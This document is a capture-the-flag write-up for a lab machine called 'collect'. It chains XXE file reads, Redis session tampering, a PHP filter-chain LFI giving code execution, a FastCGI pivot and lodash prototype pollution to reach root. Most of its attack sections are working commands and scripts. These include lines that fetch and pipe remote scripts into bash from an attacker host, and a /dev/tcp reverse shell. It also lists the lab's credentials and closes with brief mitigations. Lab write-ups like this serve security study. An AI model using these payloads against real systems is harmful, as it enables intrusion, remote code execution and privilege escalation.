Overview

Machine author: Tr1s0n. IP: 10.10.10.x.

Chain: forum token, escalation to admin, XXE (file / source read), Redis (session replacement), access to developers., LFI + PHP filter chain (RCE as www-data), PHP-FPM / FastCGI (pivot to victor), prototype pollution in a Node.js API (RCE as root).

Reconnaissance

1
nmap -sV -sC -p- 10.10.10.x

Open: 22 (SSH), 80 (HTTP). Redis (6379) is local only / password protected.

1
10.10.10.x  collect.htb developers.collect.htb

The vhost developers.collect.htb is protected by Basic Auth.

Initial Access

Web foothold, admin + XXE

  1. A forum post (MyBB) has an attached Burp history export. It contains a token and the request POST /set/role/admin.
  2. Register and log in on collect.htb, capture the PHPSESSID.
  3. Send POST /set/role/admin with the leaked token; the account becomes an admin, with access to /admin.
  4. The admin panel has API registration that makes a server-side request with controllable XML (the manage_api parameter), an XXE.

Blind (out-of-band) XXE to exfiltrate files: host an evil.dtd on your server and read, for example:

  • /var/www/developers/.htpasswd -> hash -> hashcat -> the Basic Auth password for developers.
  • application source, including bootstrap.php

Basic Auth for developers: developers_group : r0cket.

Redis, access to the developers portal

bootstrap.php reveals the Redis session configuration and password:

1
2
ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');

Sessions are stored in Redis, so they can be replaced to bypass the developers login:

1
2
3
redis-cli -h collect.htb -a 'COLLECTR3D1SPASS'
> KEYS *
> set PHPREDIS_SESSION:<your_cookie> "username|s:3:\"sd9\";role|s:5:\"admin\";auth|b:1;"

The portal requires auth = True (and the admin role) in the session.

LFI + PHP filter chain, RCE as www-data

Vulnerable code in index.php:

1
include($_GET['page'] . ".php");   // appends ".php"

Traps:

  • The vulnerable parameter is page (not file, not action). The wrong key means empty($_GET['page']) and a redirect to /?page=home (a clean home page misleadingly suggests “almost working”).
  • include appends .php, so in the chain use resource=php://temp (after appending, php://temp.php, still valid) rather than a real file, so nothing is appended after the payload.
  • URL length limit (~3000 chars): a full reverse shell in the chain can be too long. Use a short webshell and pass commands as a parameter.
  • Send the session cookie (with auth) plus Basic Auth.

Chain generation (synacktiv):

1
python3 php_filter_chain_generator.py --chain '<?= `$_GET[0]` ?>'

Python skeleton:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import requests
url = "http://developers.collect.htb/index.php"
final_payload = f"php://filter/{filters}/resource=php://temp"
r = requests.get(
    url,
    params={"0": "curl 10.10.14.x:8000/bash.sh|bash", "page": final_payload},
    cookies={"PHPSESSID": "<cookie_with_auth>"},
    headers={"Authorization": "Basic ZGV2ZWxvcGVyc19ncm91cDpyMGNrZXQ="},
    allow_redirects=False,   # detect a redirect instead of a misleading "success"
)
print(r.status_code); print(r.text)

Trigger: &0=<command>. Result: a reverse shell as www-data.

Lateral Movement

PHP-FPM / FastCGI, pivot to victor

PHP-FPM (FastCGI) listens locally. Use it to execute code as victor:

1
2
# on the box, as www-data
python3 fpm.py -c '<?php system("curl 10.10.14.x/s | bash"); exit; ?>' 127.0.0.1 /tmp/id.php

A reverse shell as victor. ~victor contains a copy of the API source, ~/pollution_api (Node.js / Express).

Privilege Escalation

Prototype pollution in the Node.js API

pollution_api runs as root (/root/pollution_api). You must (a) become an admin in the database, and (b) trigger prototype pollution.

Credentials found in the API source:

  • JWT secret: JWT_COLLECT_124_SECRET_KEY
  • MySQL: webapp_user : Str0ngP4ssw0rdB*12@1, database pollution_api

admin.js checks the JWT and the database:

1
2
const find = await User.findAll({where: {username: token.user, role: token.role}});
if(find[0].username == token.user && find[0].role == token.role && token.role == "admin")

A forged role:admin token is not enough; a user+admin row must exist in the database. The admin token embedded in the source is expired (exp = 2022).

1
2
3
4
5
6
7
# on the box (as victor)
mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' \
  -e "use pollution_api; update users set role='admin' where username='htbrocks'; select username,role from users;"

# log in again -> the token now has role:admin (the role comes from the database at login)
curl -s -X POST -H "Content-type: application/json" \
  http://localhost:3000/auth/login -d '{"username":"htbrocks","password":"test"}'

The vulnerable handler does _.merge(obj, req.body) (lodash CVE-2018-3721), then exec(...). The key __proto__ poisons Object.prototype.shell. child_process.exec without an explicit options.shell walks the prototype and runs our file instead of /bin/sh.

1
2
3
4
5
6
# fakeshell in ~victor, a reverse shell (matching the port you listen on)
cat > /home/victor/fakeshell <<'EOF'
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.14.x/1234 0>&1"
EOF
chmod +x /home/victor/fakeshell

On the attacker: rlwrap -cAr nc -lvnp 1234.

Payload (one line; token from the step above, expires after an hour):

1
2
3
4
curl -X POST -H "Content-type: application/json" \
  -H "x-access-token: <ADMIN_TOKEN>" \
  http://localhost:3000/admin/messages/send \
  -d '{"text":"pwning","__proto__":{"shell":"/home/victor/fakeshell"}}'

The response {"Status":"Ok"} gives a root shell on 1234. If the first attempt returns nothing, repeat the request (the prototype poisoning persists in the process; the next exec picks up the poisoned value).

1
2
cat /root/root.txt
# [REDACTED_ROOT_FLAG]

Detection and Mitigation

  • Disable external entities in XML parsers.
  • Do not store Redis auth in a world-readable config; bind Redis to localhost with a strong requirepass.
  • LFI: whitelist includes, use basename, disable stream wrappers.
  • Do not run the API as root; use _.merge alternatives that reject __proto__ / constructor keys, and always pass options.shell explicitly.
  • Enforce authorization against the database, not just the JWT.

Lessons Learned

  • Filter chain LFI: pick the right parameter, use resource=php://temp, mind the URL length limit, use allow_redirects=False for diagnostics.
  • Prototype pollution is not string injection; it changes the prototype (here, the exec shell interpreter). The first request sets it, the second executes.
  • Auth is not just a token; middleware cross-checked the database, so an UPDATE ... role='admin' plus re-login was needed, not just a forged JWT.
  • Reverse-shell debugging: the port in the script must match the listener; an empty handler response (0 bytes, no error) means the code ran but there is no receiver.
  • Stabilise the shell: python3 -c 'import pty;pty.spawn("/bin/bash")' or multi-line commands concatenate.

Command Reference

ItemValue
Basic Auth (developers)developers_group : r0cket
RedisCOLLECTR3D1SPASS
JWT secretJWT_COLLECT_124_SECRET_KEY
MySQLwebapp_user : Str0ngP4ssw0rdB*12@1 (db pollution_api)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
nmap -sV -sC -p- <IP>

# Redis session tampering
redis-cli -h collect.htb -a 'COLLECTR3D1SPASS'
> set PHPREDIS_SESSION:<cookie> "username|s:3:\"sd9\";role|s:5:\"admin\";auth|b:1;"

# LFI filter chain
python3 php_filter_chain_generator.py --chain '<?= `$_GET[0]` ?>'

# FastCGI pivot
python3 fpm.py -c '<?php system("curl <LHOST>/s | bash"); exit; ?>' 127.0.0.1 /tmp/id.php

# prototype pollution
curl -X POST -H "Content-type: application/json" -H "x-access-token: <TOKEN>" \
  http://localhost:3000/admin/messages/send \
  -d '{"text":"pwning","__proto__":{"shell":"/home/victor/fakeshell"}}'